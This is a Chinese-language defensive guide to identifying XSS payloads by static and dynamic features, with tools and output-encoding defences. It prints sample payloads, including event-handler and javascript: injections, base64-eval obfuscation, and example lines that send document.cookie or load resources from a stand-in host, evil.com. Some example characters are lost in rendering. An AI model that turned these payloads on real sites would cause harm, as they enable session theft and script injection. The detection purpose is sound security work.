本文目录导读:

XSS(跨站脚本攻击)载荷的识别是Web安全防御的核心,攻击者往往通过精心构造的恶意脚本,试图在目标用户的浏览器中执行,从而窃取数据或进行其他恶意操作。
识别XSS载荷通常可以从静态特征和动态行为两个维度进行,以下是系统性的识别方法和常见的载荷特征:
静态特征识别(基于内容/结构)
这是最基础的识别方式,通过扫描输入数据中的特殊字符、标签和函数来判断。
关键字符检测
XSS的本质是突破上下文(HTML、JavaScript、CSS)限制,因此攻击载荷通常包含以下特殊字符:
- 尖括号:
<>(用于插入HTML标签) - 引号: (用于闭合属性值)
- 斜杠: (用于闭合标签)
- 百分号: (用于URL编码绕过)
- 井号: (用于绕过或截断)
- 括号: (用于执行函数)
危险HTML标签识别
以下标签及其属性是XSS的高发区域,需重点审查:
<script>:最直接,识别script关键字。<script>alert(1)</script>- *事件处理器(on 属性)**:几乎所有HTML元素都支持的属性。
onerror(图片加载失败时):<img src=x onerror=alert(1)>onload(页面加载时):<body onload=alert(1)>onmouseover(鼠标悬停时):<p onmouseover=alert(1)>onfocus/onclick等。
<a>标签的href属性:可执行javascript:伪协议。<a href="javascript:alert(1)">click me</a>
<svg>:常作为绕过过滤的载体。<svg onload=alert(1)>
<iframe>:用于注入页面或执行脚本。<iframe src=javascript:alert(1)>
<style>:利用CSS加载外部资源或执行表达式(IE旧版)。<style>@import url('http://evil.com/xss.css');</style>
JavaScript 危险函数/关键字识别
若输入最终被拼接到JavaScript代码中,需留意以下关键字:
alert():最常见的PoC(Proof of Concept)测试函数,虽然实际攻击常用fetch、XMLHttpRequest、eval等。eval():直接执行任意字符串。document.write():写入页面内容,可能被二次注入。setTimeout()/setInterval():可以接收字符串执行。Function():构造函数,可执行字符串。fromCharCode():常用于编码绕过,如String.fromCharCode(97,108,101,114,116,40,49,41)即alert(1)。atob():Base64解码,如eval(atob('YWxlcnQoMSk='))。
编码与混淆特征
攻击者会通过编码绕过简单的关键词过滤,识别以下模式至关重要:
- HTML实体编码:
<script>或<script> - URL编码:
%3Cscript%3E - Unicode编码:
\u003cscript\u003e或\x3cscript\x3e - Base64编码:常见于
<img src="data:image/png;base64,...">或eval(atob(...)) - JSFuck / 其他极小化代码:仅由 等符号组成,非常可疑。
- 字符串拼接:
<scr+ipt>或docu+ment.cookie,用于绕过script关键词检测。
动态行为识别(基于逻辑/执行)
静态检测无法覆盖所有情况(如DOM-based XSS),需要结合上下文和模拟执行来识别。
document 对象操作
- 读写 cookie:
document.cookie(典型的盗取会话目标)。 - 读写
location:window.location或document.location(用于重定向或获取URL参数)。 - 访问
window.name:常被用于跨域数据传输。 - 操作
document.body/document.getElementById:修改页面内容。
网络请求行为
- 发起外部请求:使用
new Image().src、XMLHttpRequest、fetch、WebSocket向未知或可疑域名发送数据。 - 数据外传模式:请求URL中带有参数,如
http://evil.com/?c=+document.cookie。
localStorage / sessionStorage 操作
- 读取或写入本地存储数据,用于持久化窃取敏感信息。
原型污染或DOM Clobbering
- 原型污染:修改
__proto__或构造函数,影响全局对象行为。 - DOM Clobbering:通过定义带有
id或name属性的HTML元素,覆盖JavaScript变量的默认行为。<form id="config"><input name="apiUrl" value="http://evil.com"></form>
实际识别中的常见模式
以下是一些经典的、特征明显的载荷示例,可以作为“指纹”来记忆和识别:
| 类别 | 载荷示例 | 核心识别特征 |
|---|---|---|
| 标签注入 | <script>alert(1)</script> |
出现 <script> 与 </script> |
| 事件注入 | <img src=x onerror=alert(1)> |
属性名为 onerror、onload 等,其值包含 alert 或 等执行代码 |
| 伪协议 | <a href="javascript:alert(1)"> |
href 属性值以 javascript: 开头 |
| 属性注入 | "> <script>alert(1)</script> |
输入出现在双引号或单引号之外,主动闭合属性并插入代码 |
| DOM型存储 | #<img src=x onerror=alert(1)> |
URL片段 后的内容,且被 innerHTML 直接使用 |
| 编码绕过 | <script>alert(1)</script> |
内容中包含明显的实体编码(如 &#xx) |
| 模板注入 | ${alert(1)} 或 {{7*7}} |
包含 、 等模板语法,常出现在React/Angular/Vue等框架中 |
识别工具与实践建议
手工识别效率有限,建议结合以下工具:
-
浏览器的开发者工具 (F12)
- Network 面板:观察是否有向第三方域名发送的异常请求,特别是URL中带有
cookie或token参数。 - Console 面板:查看错误信息,如
Refused to execute inline script(CSP拦截)或Uncaught ReferenceError(执行失败)。 - Sources 面板:检查动态生成的DOM元素,确认是否插入了未预期的脚本节点。
- Network 面板:观察是否有向第三方域名发送的异常请求,特别是URL中带有
-
Web应用扫描器
- Burp Suite (Pro版有主动扫描,免费版可配合插件如
Active Scan++)。 - Acunetix、Netsparker、AppScan:专业的自动化扫描工具。
- ZAP (Zed Attack Proxy):开源的替代方案。
- Burp Suite (Pro版有主动扫描,免费版可配合插件如
-
XSS 专用 Payload 库与测试框架
- XSSPayloads:常见载荷集合,用于验证WAF或过滤器。
- BeEF (Browser Exploitation Framework):不仅用于识别,还用于利用XSS后控制浏览器。
核心防御原则(识别之后)
识别出载荷后,正确的处理方式不是“拦截”,而是对输出进行安全编码。输入过滤是辅助手段且容易绕过,输出编码才是根治XSS的方法。
- HTML上下文:对
< > " ' &进行实体编码。 - JavaScript上下文:对
\n " '等进行反斜杠转义。 - CSS / URL上下文:各自采用对应的编码规则。
识别XSS载荷的核心在于检查输入中是否包含能够改变或逃逸当前代码上下文的结构。、onerror=、javascript: 是三大最典型的视觉特征;而隐藏在编码或DOM操作中的载荷,则需要借助开发者工具或自动化扫描器来辅助判断,对于开发者而言,与其花费大量精力识别各种载荷,不如建立可靠的输出编码机制。